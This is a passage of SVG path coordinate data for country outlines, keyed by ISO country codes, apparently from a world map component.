3.17,-0.11 4.08,-0.09 z m -45.17,-24.25 c 3.8,-0.46 6.48,3.63 10.14,2.74 0.93,-0.26 -1.44,-2.07 0.17,-0.81 2.26,0.66 5.32,-0.78 4.35,-1.07 0.38,-0.85 -1.56,-0.61 0.47,-1 -0.04,-1.67 -2.77,-0.05 -2.57,-1.6 -1.62,-0.13 -4.72,0.32 -1.32,-0.67 1.67,-0.31 2.15,-0.61 0.62,-0.84 3.92,-0.12 -0.43,-1.57 -1.59,-0.84 -1.45,0.8 -5.86,-0.74 -5.09,-0.04 1.1,-0.05 -5.32,-0.06 -1.53,0.68 -0.99,0.09 -4.41,0.02 -1.21,0.74 1.76,0.03 4.83,0.28 1.28,0.42 1.9,1.07 0.27,0.08 0.1,1.26 -1.76,0.95 -5.62,-2.67 -5.98,0.13 0.14,0.4 3.11,0.53 2.16,0.9 z m -14.12,-3.1 c 2.24,0.22 5.97,3.17 6.62,-0.29 -1.89,-0.62 -5.27,-1.3 -6.62,0.29 z m 29.22,14.16 c 1.91,-0.7 4.92,-0.87 1.8,-1.6 -1.15,-0.65 -5.13,-3.31 -6.77,-1.62 2.04,0.59 -2.2,-0.14 -0.12,0.74 -1.81,-0.18 -4.73,1.57 -1.3,1.12 1.42,0.55 4.22,1.16 6.4,1.36 z m 45.69,-12.48 c 3.56,0.26 7.37,0.17 10.86,-0.09 -2.46,-1.8 -5.96,-2.44 -9.17,-2.05 -1.83,-1 -6.3,0.4 -2.53,1.1 0.44,0.19 0.59,0.68 0.84,1.04 z m 17.77,13.71 c -1.55,-0.69 -4.85,0.08 -1.36,0.7 0.54,0.38 3.29,-0.48 1.36,-0.7 z m -9.77,1.64 c 2.22,2.37 8.93,-1.35 4.35,-2.54 -1.39,-0.2 -5.97,0.43 -4.35,2.54 z m -3.45,-5.48 c -1.79,0.27 -3.67,2.44 -0.69,1.01 0.21,0.13 2.11,-1.15 0.69,-1.01 z m -4.31,-0.3 c 5.15,-1.14 -4.52,-0.79 -1.08,-0.33 l 0.5,0.12 z m 2.74,-18.71 c -2.32,-0.15 -2.08,1.4 0.05,0.73 -1.8,-0.43 -0.14,-0.18 -0.05,-0.73 z m -27.39,-1.39 c 0.43,1.41 0.18,-1.87 0.97,0.6 2.23,-0.02 2.72,-0.23 4.93,-0.19 0.99,-0.29 3.8,1.1 6.18,0.38 -2.31,-0.54 -1.89,-0.54 -0.08,-0.38 0.27,-1.28 4.2,1.23 2.77,-0.63 0.74,1.1 4.92,1.1 2.36,-0.19 1.3,0.8 1.93,-0.3 1.69,0.7 1.92,-0.5 3.39,0.45 3.05,0.98 2.86,-0.68 6.45,-0.28 8.4,-1.97 -1.31,-0.94 -5.27,0.78 -3.52,-0.91 -1.71,-0.65 -3.41,0.59 -3.84,-0.18 -1.52,-0.09 -7.18,-0.11 -2.83,-0.21 0.74,0.04 -2.86,-1.55 -0.18,-0.68 3.42,1.1 7.07,0.92 10.03,0.03 -0.04,-0.92 -2.59,-1.33 0.28,-1.16 1.63,0.32 8.82,-0.43 3.65,-0.56 -2.89,-0.26 7.18,-0 2.2,-0.85 -1.84,-0.04 -3.34,-0.32 -0.62,-0.21 1.92,0.69 5.12,-1.1 1.49,-1.04 -3,-0 -1.49,0.18 -1.61,-0.26 -1.45,-0.52 -7.94,1.17 -4.66,-0.02 -2.21,-0.28 -3.99,-0.11 -0.81,-0.12 1.76,0.12 7.78,-0.03 3.06,-0.3 -1.72,0.03 -5.1,-0.06 -1.51,-0.08 2.28,-0.63 7.24,1.14 7.93,0.18 0.4,-0.67 -6.5,-0.28 -7.74,-0.41 -3.17,-0.12 0.65,-0.38 1.46,-0.31 1.6,0.56 3.73,-0.16 0.84,-0.28 -3.45,-0.22 3.09,0.42 4.35,0.26 1.19,-0.16 7.87,-0.32 3.29,-1.04 -2.19,0.18 -2.73,-0.43 -0.25,-0.26 2.8,0.17 5.47,1.21 8.33,0.1 -3.29,-0.2 3.61,-0.39 -0.21,-0.85 -0.85,0.32 -5.31,0.31 -2.45,0.07 -2.95,-0.53 8.31,0.44 3.53,-1.3 3.49,1.42 6.85,-1.38 10.4,-1.6 1.58,-0.76 6.13,-0.33 5.94,-1.37 -3.32,-0.16 -6.7,0.43 -10.04,0.74 -2.98,0.61 -7.36,0.43 -2.64,0.08 1.95,-0.29 6.47,-0.55 6.8,-0.91 -2.4,-0.22 -5.78,0.49 -5.24,-0.2 -4.16,-0.76 3.11,0.64 4.59,-0.04 2.54,-0.07 4.72,-0.12 3.63,-0.22 4.22,-0.36 8.69,-0.25 12.67,-1.73 -1.97,-1.43 -5.27,-0.1 -5.6,-0.49 1.51,-0.47 -3.45,-0.69 -0.73,-0.78 -3.45,-0.49 -6.93,-0.07 -10.48,-0.08 -1.48,0.13 -6.05,0.61 -2.12,0.17 1.76,0.34 6.35,-0.62 2.28,-0.72 -4.28,0.14 -6.88,-0.27 -10.84,-0.3 -3.47,0.11 2.51,0.8 -1.24,0.45 -0.96,-1.2 -9.33,-0 -3.94,0.42 1.12,0.67 -3.67,-0.45 -4.99,-0.7 -1.87,0.32 -7.19,-0.53 -7.26,0.28 1.72,0.32 3.03,0.31 3.06,0.67 2.57,0.03 1.04,0.6 -0.63,0.52 1.18,-1.12 -6.23,-0.8 -4.76,-1.27 -1.66,0.31 -5.91,-0.46 -5.87,0.28 0.46,0.21 4.51,0.6 4.35,0.5 -2.02,0.34 -6.98,-0.82 -7.21,-0.16 5.35,1.05 -6.51,-0.45 -0.87,0.65 -1.68,-0.4 -4.39,0.47 -1.09,0.68 2.15,0.19 6.78,0.7 7.19,1.24 -3.19,-0.42 -6.77,-1.44 -9.8,-1.09 1.29,0.52 3.88,0.47 0.96,0.34 -2.88,-0.58 -7.8,-1.66 -8.62,-0.88 2.78,0.5 -5.6,0.08 -1.6,0.77 1.74,-0.31 5.95,0.84 1.87,0.43 1.18,0.42 -4.86,-0.7 -3.78,0.17 -3.31,-1.43 -5.85,0.41 -8.09,0.01 -1.79,-0.17 -8.35,1.18 -3.44,0.9 1.42,-0.36 6.26,0.04 2.37,0.06 -2.81,1.45 4.19,-0.05 5.53,0.05 3.08,0.18 2.28,0.16 -0.17,0.07 -1.6,-0.23 -6.35,0.82 -2.42,0.8 1.74,-0.03 -5.74,-0.06 -1.53,0.8 4.08,-0.18 8.23,-0.07 12.24,-0.98 3.81,0.26 -4.02,1.3 -5.65,0.94 -1.55,-0.22 -7.83,0.01 -3.69,0.84 4.19,1.31 7.99,-1.72 12.23,-1.08 1.47,-0.54 7.39,-0.18 3.29,-0.18 -2.88,0.61 -7.5,-0.29 -9.37,1.75 2.81,-0.34 6.24,1.21 8.62,-0.74 1.94,-0.27 -1.29,0.74 1.19,0.28 1.33,-0.72 5.21,-0.13 1.76,-0.16 -4.69,0.67 1.96,0.93 3.56,0.42 2.34,0.16 5.74,-1.7 5.37,-1.5 2.11,0.22 2.88,-0.74 3.34,-0.7 2.52,-0.44 2.76,0.02 0.09,0.21 -1.03,0.17 0.24,0.23 -1.75,0.48 -3.29,1.57 5.86,0.16 4.43,0.92 -2.06,-0.06 -7.47,1.4e-4 -7.17,0.78 1.89,0.01 6.11,-0.05 2.11,0.19 -3.77,0.21 -7.58,0.08 -11.33,0.47 -1.3,1.07 5.45,0.64 3.66,1.82 2.07,0.7 7.61,-0.06 2.51,0.51 -3.64,0.26 -6.99,-2.43 -11,-2.06 -1.31,-0.21 -7.75,-0.14 -3.73,0.92 3.6,0.72 -0.04,-0.6 -1.19,0.33 2.38,0.2 6.66,1.96 7.65,2.28 -1.65,-0.54 -4.61,0.01 -1.2,0.14 1.73,0.3 7.25,0.04 6.54,-0.02 -1.28,0.73 -6.41,0.18 -2.45,0.63 1.98,1.12 -4.75,-0.87 -7.35,-0.42 -2.11,-0.32 -5.18,0.72 -5.56,1 -2.26,0.34 1.27,1.26 -1.02,1.15 1.34,0.86 5.84,-1.66 3.84,0.19 3.04,-0.14 4.24,-1.95 4.07,-0.42 3.38,0.47 -0.1,-0.5 -0.85,0.39 5.16,-0.27 -5.39,0.29 0.08,0.57 3.03,0.07 0.18,-0.59 -1,0.19 1.63,-0.44 -0.98,0.82 1.3,0.46 1.21,-0.39 -0.15,0.77 2.06,0.35 1.94,-0.05 6.84,-2.96 2.95,-0.42 -0.4,0.22 -3.18,0.54 -1.25,0.88 -3.4,0.36 -6.03,-0.21 -9.04,-1.41 -1.65,-0.49 -5.65,0.01 -2.57,1.37 2.47,0.02 1.21,-0.05 1.85,0.28 1.82,0.91 -6.32,-0.29 -6.6,1.5 -1.53,0.72 1.85,1.39 1.9,0.38 z m -12.51,-3.14 c -2.8,-0.02 -6.17,-0.78 -8.66,0.32 2.53,0.58 6.54,0.9 8.66,-0.32 z m -1.82,4.12 c 1.71,-0.98 6.9,1.12 4.27,2.72 1.17,0.75 2.53,2.95 4.68,1.28 -0.05,2.09 7.18,-0.38 6.39,0.5 1.45,1.54 5.25,-0.07 6.91,0.56 2.39,-0.96 4.95,1.12 7.37,-0.98 2.5,1.53 6.29,1.19 8.98,0.2 -2.05,-0.7 4.76,0.05 0.77,-0.71 -3.66,0.36 3.57,-1.08 -0.37,-1.34 -1.24,-0.38 -6.4,-1.58 -9.94,-0.84 -1.68,0.03 -7.01,0.4 -6.27,0.96 1.15,0.08 -2.11,0.59 -2.38,-0.08 -2.27,-0.28 -4.74,-0.33 -6.02,-0.19 -1.03,0.01 -4.09,-0 -1.09,-0.56 -1.31,-0.92 -5,-0.36 -5.17,-0.68 2.33,-0.33 2.14,-0.21 0.57,-0.4 -4.8,-0.6 1.43,-0.23 1.54,-0.18 1.44,0.2 3.84,-0.17 0.94,-0.64 -1.35,-0.28 -6.33,-0.28 -2.36,-0.22 0.86,-0.64 -3.59,-0.82 -4.94,-0.46 -1.51,-0.65 -3.64,1.46 -2.2,-0.32 -3.15,-0.59 -6.64,-1.34 -9.82,-0.55 2.88,0.59 -2.14,0.27 0.77,0.78 0.94,0.34 3.95,0.11 1.28,0.43 1,0.78 5.24,0.32 1.96,0.63 1.36,0.23 2.75,-0.17 4.15,0.1 z m -2.52,1.8 c -1.67,0.15 -3.78,0.65 -2.96,0.86 0.25,-0.07 -3.05,1.2 -0.28,0.98 1.68,1.28 10.19,1.81 5.69,-1.29 -0.78,-0.33 -1.62,-0.49 -2.46,-0.55 z m -7.63,4.34 c -2.25,-0.08 -6.35,0.67 -3.12,0.8 0.94,-0.14 2.62,0.23 3.12,-0.8 z m -6.3,-2.43 c 1.95,-0.49 6.91,0.16 5.93,-0.76 -0.98,-0.36 -0.42,-1.07 1,-0.78 -0.7,-0.84 -1.17,-0.48 -0.45,-1.85 -0.44,-1.5 -4.66,-1.41 -2.97,-1.46 -1.84,1.17 -4.07,-0.63 -6.53,0.5 0.81,0.6 3.87,0.43 1.18,0.57 2.29,0.74 2.38,-0.08 1.44,0.79 1.94,0.66 -2.88,-0.43 -4.17,-1.21 -2.5,-0.37 -1.86,1.12 0.2,0.51 -2.51,0.49 0.26,0.71 0.11,1.16 3.11,0.63 -3.73,-0.55 -2.33,0.3 -3.66,0.88 3.03,0.71 4.25,0.37 2.03,-0.01 6.98,-0.52 2.4,0.04 0.61,0.34 -2.29,0.18 -0.3,0.29 -1.51,0.1 -0.95,0.24 -1.92,0.41 1.18,0.47 2.58,0.08 0.67,0.53 0.4,0.39 1,0.45 1.51,0.58 z m 8,-8.05 c 0.59,-0.63 3.62,0.21 5.55,-0.85 -3.24,-0.45 1.93,-0.65 -1.07,-1.05 -2.75,0.29 -5.61,-1.79 -8.38,-0.56 2.04,0.73 -1.78,0.08 0.61,0.95 0.63,0.38 5.09,0.7 1.38,0.69 -1.06,0.24 1.54,0.29 1.91,0.82 z m -22.65,-1.96 c 3.07,1.42 5.97,-0.12 8.83,0.63 2.41,-0.27 5.97,2.74 7.7,0.59 -1.74,-0.45 -1.52,-1.2 -2.01,-1.58 -2.37,-0.48 -5.02,-1.41 -7.65,-1.04 -2.3,-1.33 -5.88,-1.41 -8.24,-0.32 0.53,0.39 3.35,-0.06 1.54,0.82 1.6,-0.32 3.02,-0.53 2.88,0.17 1.79,-0.18 1.42,0.19 -0.07,0.31 3.68,0.42 -1.5,0.28 -2.52,0.27 z m 0.63,3.86 c 3.65,-0.13 -6.13,-3.42 -2.26,-0.72 0.63,0.55 1.51,0.51 2.26,0.72 z m -14.48,-2.28 c 2.73,-0.92 -3.86,-0.4 -5.02,-0.28 -2.04,-0.51 -6.71,0.96 -2.21,1.73 2.09,0.17 5.69,0.59 6.93,-0.85 -1.36,-0.04 -2.73,-0.65 -0.35,-0.58 z m -16.41,8.08 c 0.08,0.64 1.8,-0.2 2.61,0.13 1.2,0.81 2.85,-0.31 1.77,-0.71 1.61,0.24 1.21,-0.8 3.18,-0.34 -3.97,1.62 2.39,0.28 4.08,0.91 1.83,-0.86 3.62,-0.14 0.77,0.2 -1.82,0.23 -7.76,0.27 -6.94,1.29 4.16,1.61 8.39,-0.49 12.53,-0.89 3.24,-0.92 5.57,0.31 8.81,-0.22 4.38,-0.21 1.85,-4.77 -1.3,-2.84 1.73,1.03 -3.16,0.02 -2.86,0.11 0.88,-0.7 -2.53,0.02 -1.14,-1.26 -1.17,-1.88 -4.15,-1.17 -5.97,-0.03 1.67,0.5 4.13,0.73 1.22,1.39 2.13,-0.3 4.88,1.53 0.98,1 -2.52,0.58 -6.09,-0.95 -6.56,-1 0.85,-1.03 -4.96,-0.62 -6,-1.45 -1.53,-1.29 -7.51,0.23 -3.08,0.59 4.24,0.15 -7.21,-0.34 -2.67,0.93 1.44,-0.29 5.72,-0.06 1.95,0.12 -1.83,-0.32 -6.9,0.82 -2.38,0.81 2.03,-0.2 5.05,-0.63 1.55,-0.05 -2.06,-0.04 -6.99,1.04 -2.38,1.27 0.89,-0.15 1.15,-0.23 1.83,0.04 z m -4.54,-2.95 c -1.7,-0.11 -6.96,1.72 -2.4,1.7 0.6,-0.33 3.32,-0.6 2.4,-1.7 z m -6.46,0.79 c 2.43,0.56 -0.35,-2.6 2.02,-0.76 2.44,-0.46 -0.12,-1.35 2.26,-1.45 2.08,-1.56 0.32,1.94 3.27,0.87 0.85,-1.28 5.07,-0.49 2.59,-1.78 3.33,0.35 -2.38,-0.74 0.95,-0.79 2.88,-0.81 -4.56,-1.34 -3.15,-0.32 -3.97,-0.64 -7.71,0.62 -11.35,2.04 -1.63,0.42 -6.95,1.26 -3.67,1.37 -0.26,1.24 4.24,-0.02 4.98,0.16 1,0.29 0.75,0.76 2.09,0.67 z m -14.58,9.4 c -2.3,1.54 -1.01,1.55 0.54,1.65 3.42,0.13 6.1,4.07 9.46,1.34 3.81,0.68 5.01,-3.62 8.94,-3.85 2.34,-1.26 7.02,-0.58 8.27,-2.29 -2.96,-1.47 -8,-2.13 -9.93,-1.41 -1.54,-0.5 -2.05,0.53 -1.73,-0.27 -3.64,-0.98 -7.3,-0.82 -11.03,-0.58 -3.41,-0.58 -1.6,1.64 -0.6,2.18 -1.44,0.47 -3.24,1.27 -2.29,2.13 -1.83,-0.39 -0.58,0.41 -1.13,0.96 z m 42.07,-16.43 c 4.84,0.17 -2.13,-2.1 -3.6,-0.9 -1.48,0.21 -7.75,0.88 -3.46,0.84 2.41,0.09 4.68,0.21 7.06,0.06 z m 37.7,-4.58 c 2.59,0.46 -1.25,-0.02 1.43,0.8 1.38,0.45 7.38,-0.33 3.11,0.35 -1.88,-0.13 -3.02,0.14 -0.95,0.77 1.75,0.42 3.87,-0.67 3.34,0.09 1.68,-0.37 5.08,-0.8 4.62,-0.28 1.84,0.03 4.39,-0.01 1.12,0.08 -5.99,0.49 8.17,0.14 2.33,0.39 -2.42,0.32 -7.75,-0.34 -8.39,0.74 1.69,0.34 3.63,0.51 0.81,0.42 1.88,0.71 8.33,0.47 3.46,0.66 -2.71,0.42 3.58,1.14 4.97,1.15 1.26,-0.5 0.71,-0.8 2.98,-0.22 1.56,0.64 -2.85,-2.13 -0.15,-0.66 1.16,0.93 3.43,0.83 3.11,-0.38 1.57,0.29 2.33,0.35 1.21,-0.66 1.78,-1.99 -0.26,1.35 2.43,0.32 1.27,-1.67 7.19,-0.69 6.09,-1.91 -1.7,-0.84 -5.18,-0.2 -5.85,-0.62 2.82,-1.14 -2.02,-0.3 1,-0.83 -1.49,-0.81 -2.62,0.15 -1.91,-1.21 -1.43,-0.96 -3.51,-0.15 -2.11,0.57 -2.84,0.07 -1.14,-1.36 -4.36,-1.19 -3.03,0.01 -5.63,-2.64 -9.3,-2.54 -1.73,-0.44 -4.4,0.47 -1.16,0.52 4.81,0.36 -4.41,0.29 -0.62,0.44 -2.55,-0.24 -5.52,0.56 -2.85,0.78 0.98,0.09 3.49,0.28 1.02,0.29 5.34,0.82 -4.69,-0.06 -3.4,0.74 1.92,0.57 -4.53,0.16 -0.94,0.63 1.71,0.25 2.27,-0.16 2.51,0.36 1.16,0.33 4.81,-0.46 1.7,0.09 2.52,1.15 -6.92,-0.96 -4.83,0.22 z m -9.72,0.3 c 1.19,0.3 5.95,0.59 2.61,-0.65 -0.72,0.02 -2.82,-0.62 -2.61,0.65 z m 55.89,67.48 c 1.53,-0.33 0.9,-0.42 1.03,0.1 1.65,-1.15 0.91,0.32 1.58,-1.38 -0.59,2.99 1.24,-1.59 -0.84,-0.05 -1.3,1.74 0.63,-1.57 -1.05,0.46 l -0.44,0.4 z m -135.84,9.1 c 0.95,-1.81 0.57,1.37 1.15,-0.93 -1.24,-2.31 -2.12,1.15 -1.42,-0.37 1.49,0.27 -1.42,0.57 0.27,1.3 z m 5.07,7.51 c 0.64,0.57 4.07,0.48 1.67,1.68 3.17,-0.62 1.37,2.05 4.79,0.91 0.71,-0.85 -2.16,1.57 0.36,1.37 2.35,0.91 5.3,0.72 2.46,-1.11 -2.43,-1.05 -4.67,-4.86 -8.34,-4.36 -1.02,-0.82 -6.32,-1.3 -3.1,0.2 1.37,-0.69 1.6,-0.21 0.18,0.41 -0.28,0.95 2.41,0.35 1.99,0.89 z",SV:"m 222.03,196.98 c 0.88,-1.85 3.05,-2.65 4.44,-0.35 3.04,-1.49 2.33,3.55 -0.45,1.68 -0.11,-0.05 -3.19,-0.56 -3.99,-1.33 z",GY:"m 301.66,218.91 c 0.49,-1.79 1.12,-2.46 2.95,-3.04 -2.84,-1.04 1.95,-3.71 1.27,-3.93 2.24,1.68 -0.88,-0.82 1.59,0.77 2.39,0.75 2.17,4.25 2,4.69 1.27,-2.76 5.15,1.96 3.7,3.65 -2.72,-0.18 -3.01,4.7 -0.29,5.18 -10e-4,2.18 4.29,5.02 0.07,3.89 -2.38,0.99 -4.44,3.28 -6.58,0.57 -1.44,-1.81 -0.19,-4.74 0.04,-6.63 -0.61,-1.32 -1.37,-1.38 -1.21,-3.1 -1.67,0.2 -2.75,-0.41 -3.56,-2.05 z",BE:"m 478.93,91.9 c 2.32,-1.15 4.47,-0.04 6.06,-1.1 1.51,0.32 3.18,0.75 3.06,2.03 3.04,0.69 -0.46,2.11 -0.34,3.56 -2.48,-0.6 -2,-2.13 -4.33,-1.33 0.56,-1.8 -4.26,-1.27 -4.45,-3.16 z",GQ:"m 498.59,231.17 c 0.57,-0.61 -0.03,-2.96 2.29,-1.55 3.75,-1.68 3.3,5.15 -0.4,3.16 -0.91,0.03 -4.04,0.11 -1.89,-1.6 z",LS:"m 546.8,319.01 c 0.71,1.9 2.91,4.13 4.08,1.42 4.63,-0.16 1.3,-6.51 -1.79,-3.51 -0.99,0.45 -1.02,1.91 -2.29,2.09 z",BG:"m 533.97,112.48 c 1.59,-2.91 1.02,1.06 3.37,-0.12 3.37,1 6.48,-0.11 9.72,-0.88 2.31,0.28 5.98,1.47 2.27,2.81 -0.57,1.91 -1.71,1.69 0.14,3.21 -1.73,-0.14 -4.89,-0.3 -5.01,1.49 -2.34,1.77 -4.87,-1.4 -7.43,0.27 -2.24,0.89 -1.01,-2.22 -3.11,-2.68 -0.02,-1.82 2.99,-2.17 0.28,-3.6 z",BI:"m 552.39,243.34 c 0.66,-0.13 2.99,0.31 2.86,-1 2.1,-0.75 0.41,1.93 2.05,1.88 -0.8,1.38 -2.12,4.99 -3.98,3.28 -0.86,-1.35 0.21,-2.98 -0.93,-4.15 z",DJ:"m 587.83,204.6 c -0.8,-2.73 3.53,-6.12 4.51,-3.27 -0.46,1.17 -4.12,2.23 -0.91,1.75 1.34,1.79 -2.93,1.73 -3.6,1.52 z",AZ:"m 596.08,123.95 c 1.37,-0.12 4.67,1.29 3.26,2.25 -1.32,-0.22 -2.65,-1.04 -3.26,-2.25 z m 0.72,-4.49 c 1.06,-0.89 6.64,1.92 3.42,-0.83 1.16,-2.58 3.98,3.43 5.82,-0.11 2.25,-1.16 2.64,3.87 5.38,3.54 -0.25,-0.15 -3.6,0.66 -2.8,3.06 -0.52,1.23 -1.34,-0.09 -1.11,2.38 -2.4,0.12 -2.56,-1.81 -1.48,-2.65 -1.92,-2.61 -5.89,3.52 -5.2,-0.31 -0.9,-0.69 -3.39,-1.11 -1.41,-1.99 -1.93,-0.6 -1.07,-2.48 -2.18,-2.59 l -0.09,-0.14 z",MY:"m 776.03,229.79 c 0.94,1.19 3.66,1.54 4.54,1.91 -1.52,-0.7 0.64,-1.85 -0.2,-2.82 0.71,0.24 1.44,-2.13 3.47,-1.6 3.2,0.14 3.49,-7.1 6.03,-3.04 0.76,-0.77 0.48,-3.7 1.3,-1.03 1.04,0.24 -0.67,-1.97 1.23,-2.07 -0.71,-1.32 2.8,-2.95 3.42,-5.2 -0.23,1.83 1.43,-0.64 2.14,1.28 1.13,1.03 -1.26,2.58 1.24,1.51 -0.72,1.4 1.68,0.18 2.51,1.76 3.12,0.67 -3,0.96 -1.88,1.86 2.74,1.53 -1.92,0.86 -2.26,1.45 -1.8,-0.34 -4.97,-1.38 -5.12,1.37 -0.46,2.54 -1.76,3.45 -2.6,5.97 -2.13,1.99 -5.98,-1.42 -7.81,1.64 -2.57,0.56 -6.2,0.31 -6,-2.98 z m -26.46,-12.24 c 0.81,-1.87 3.14,1.48 2.99,2.15 0.86,-1.4 2.33,0.75 2.47,-1.61 3.54,1.64 4.14,5.64 3.78,9.14 1.49,1.41 2.95,5.27 1.51,4.14 -2.37,0.91 -5.07,-2.51 -7.43,-3.83 -0.75,-2.57 -2.09,-3.59 -2.65,-6.4 -0.03,-1.26 0.13,-2.5 -0.67,-3.59 z",PH:"m 820.11,207.51 c 0.82,1.58 -0.23,-2.89 0,0 z m -3.49,-7.05 c 0.99,1.44 3.32,3.35 0.62,3.2 -1.3,-0.61 0.15,1.59 0.72,1.89 0.16,3.43 1.86,0.36 0.58,-1.65 2.72,2.14 1.73,-1.54 1.01,-2.78 -0.18,-1.27 -2.04,-0.65 -2.93,-0.66 z m -2.51,7.05 c -1.05,4.34 3.36,-4.32 1.39,-2.87 -0.2,1.08 -0.99,1.88 -1.39,2.87 z m -0.55,-5.64 c 0.23,-1.55 2.22,1.26 2.48,0.23 -1.22,-1.33 -2.47,-3.02 -2.48,-0.23 z m -1.69,7.23 c 2.83,2.93 1.01,-2.32 2.62,-3.92 -2.35,-1.67 -1.28,2.68 -3.2,2.71 l 0.19,0.64 z m -1.84,6.41 c 0.78,1.98 2.03,-3.59 2.71,-1.05 0.9,-0.8 1.16,1.09 1.97,-0.84 2.89,0.63 -0.14,6.61 4.16,5.12 0.3,0.06 0.81,2.53 1.59,-0.01 -1.3,-1.4 0.21,-5.55 1.13,-2.03 0.43,2.55 0.28,-0.8 0.74,-0.69 1.78,-2.11 -1.11,-3.92 -0.11,-5.38 -0.33,-1.64 -3.69,-3.74 -2.16,-0.4 -1.91,-0.53 -1.87,1.23 -3.48,1.66 -0.94,1.41 -2.07,1.73 -1.41,-0.27 -1.34,-1.08 -3.18,1.53 -4.58,2.3 0.03,0.58 -0.28,1.11 -0.57,1.58 z m -0.15,-12.99 c 1.37,1.3 -1.23,5.28 2.16,2.82 2.7,-2.22 0.02,-1.86 -1.84,-3.29 z m -5.75,-12.27 c 0.17,2 1.5,6.03 2.43,3.8 2.23,0.61 -1.82,2.67 0.72,2.78 0.63,0.68 3.87,-1.27 4.8,1.72 -0.26,-1.32 -0.91,-3.18 0.93,-0.96 0.43,1.22 2.78,1.88 2.56,1.94 0.3,2.23 1.13,-1.46 -0.36,-1.02 -1.03,-1.16 -0.4,-1.39 0.4,-1.67 -1.58,-0.77 -1.61,-0.73 -2.22,0.11 -0.91,-2.69 -2.4,-0.92 -3.06,-0.55 -1.48,-1.61 -2.71,-5.38 0.33,-6.48 0.05,0.11 1.99,-2.95 0.09,-3.94 1,-2.9 -0.05,-1.62 -1.57,-2.04 -3.66,-2.61 -3.34,3.01 -3.47,5.26 0.66,3.49 -1.7,-1.12 -1.58,1.06 z m 1.47,7.51 c 1.09,1.87 3.92,5.29 3.14,0.86 -0.53,-1.08 -2.14,-1.26 -3.14,-0.86 z m -8.51,13.72 c 0.2,1.1 4.23,-2.57 4.46,-3.92 2.15,-0.13 2.43,-3.15 1.62,-3.68 -0.27,1.18 -0.08,1.27 -0.56,1.34 -0.2,1.79 -1.78,1.81 -2.8,3.74 -0.85,0.86 -2.18,1.29 -2.71,2.52 z m 12.81,5.73 c 1.89,1.01 0.24,-1.57 0,0 z",UY:"m 311.36,321.52 c 1.41,-2.04 4.89,-0.87 5.47,1.5 1.9,-0.63 4.87,2.28 6.66,3.89 1.83,0.85 -0.82,2.69 0.03,4.25 -1.55,3.07 -4.83,2.34 -7.67,2.58 -2.09,-0.87 -8.29,-1.8 -5.1,-5.16 -0.91,-2.46 0.84,-4.7 0.62,-7.05 z",CG:"m 502.78,246.68 c 0.46,-1.75 3.43,-0.13 1.65,-2.27 -0.84,-1.77 -0.21,-2.37 2.04,-2.28 -0.05,-3.58 2.35,2.6 3.6,-0.63 1.31,2.9 2.21,-2.62 2.08,-3.94 -1.87,-0.89 -2.27,-3.03 -0.2,-4.28 -0.2,-3.41 -4.84,0.65 -3.36,-3.12 1.95,-2.02 6.63,0.75 8.01,0.25 0.34,-2.92 1.85,-6.38 5.5,-4.76 3.6,0.03 -1.21,4.29 -0.3,6.41 -0.05,3.99 -1.97,6.86 -4.7,9.61 0.43,3.55 -2.12,6.63 -5.2,7.7 0.46,-3.72 -2.66,1.03 -3.68,-0.77 -1.35,-1.81 -3.39,3.15 -3.85,-0.45 -0.43,-0.58 -1.02,-1.01 -1.57,-1.47 z",
RS:"m 527.66,115.24 c 1.53,-1.25 3.09,-1.55 4.56,0.4 -0.18,1.45 -3,2.01 -3.18,1.86 -0.05,-1.09 -1.47,-1 -1.68,-2.1 m -0.84,-9.68 c -2.48,0.14 -2.86,2.04 -0.82,2.79 -2.61,0.83 1.29,0.24 -0.71,1.91 -0.45,0.81 2.48,1.6 0.37,1.44 1.92,1.69 -2.56,1.04 0.33,2.32 1.77,1.82 3.34,-0.1 4.34,0.67 2.54,0.13 0.42,2.83 3.17,1.73 1.9,-0.05 0.7,-1.8 2.51,-2.46 -3.46,-1.24 0.89,-5.32 -2.67,-3.79 -2.5,-0.59 -0.92,-2.05 -3.85,-2.59 0.63,-1.14 -1.77,-2.19 -2.66,-2.01 z",ME:"m 523.1,115.89 c 0.25,-1.66 1.44,-3.47 2.89,-1.55 2.94,0.62 1.38,1.64 -0.11,1.93 0.18,2.71 -1.86,0.38 -2.22,-0.09 0.92,-0.03 -0.85,0.25 -0.57,-0.29 z",EE:"m 537.06,70.85 c 0.6,-1.04 1.34,-0.13 -0.09,-0.76 -0.13,-1.61 2.75,-1.72 4.84,-1.83 1.93,-0.52 7.06,0.13 7.88,0.44 -2.59,0.76 -1.03,3.56 -1.05,4.25 -2.65,2.53 -6.13,-2.06 -9.3,-0.16 1.53,-2.48 -0.87,-0.23 -1.83,-1.72 z m -2.39,-1.43 c -3.01,-0.05 0.01,1.64 0.91,0.45 -0.19,-0.33 -0.67,-0.19 -0.91,-0.45 z m -1.65,3.27 c 0.87,-1.16 5.33,-1.53 1.65,-1.89 -3.01,0.38 -1.52,0.02 -1.65,1.89 z",RW:"m 552,242.64 c 0.4,-2.57 3.25,-3.61 4.42,-3.65 1.72,1.72 1.16,4.36 -1.45,3.13 0.19,2.38 -2.84,0.96 -2.97,0.52 z",AM:"m 592.45,119.98 c 2.56,-0.33 5.77,-0.93 5.47,1.17 0.15,0.96 2.85,1.67 0.42,1.97 2.04,0.44 4.06,3.16 1.45,2.96 -0.61,-2.51 -2.88,-1.32 -4.53,-2.8 -4.29,-0.22 -0.87,-1.32 -2.81,-3.3 z",SN:"m 423.83,194.19 c 0.12,-0.09 2.64,-3.19 2.94,-4.92 2.88,-0.61 7.06,-0.8 8.5,2.4 1.83,1.52 3.8,3.4 3.27,5.66 1.46,0.88 3.16,4.02 -0.27,3.51 -2.77,-0.42 -5.35,-1.28 -8.53,-0.81 -1.93,1.34 -6.57,0.51 -2.35,0.14 1.63,0.26 2.32,-0.91 0.58,0.04 -1.62,-0.22 -4.09,0.03 -1.61,-1.6 2.45,-0.5 4.14,-1.3 6.73,-0.4 0.8,-0.66 -2.59,-1.21 -3.7,-1.32 -2.29,1.53 -4.4,-0.28 -3.54,-0.69 1.42,-1.28 -1.46,1.75 -0.92,-0.96 l -0.47,-0.65 z",TG:"m 471.48,204.3 c 2.11,0.43 3.17,0.03 2.83,2.29 2.39,1.59 2.1,5.22 2.19,7.95 -0.53,1.66 1.21,4.69 -1.64,3.54 -2.84,-1.32 -0.4,-4.57 -1.44,-6.53 -0.4,-0.76 0.18,-2.86 -0.71,-2.83 0.99,-1.66 -0.9,-3.13 -1.23,-4.41 z",ES:"m 481.01,124.75 c -3.23,1.01 -1.72,-2.19 -0.44,-1.14 0.66,0.42 1.44,-0.02 0.44,1.14 z m -34.51,-9.69 c 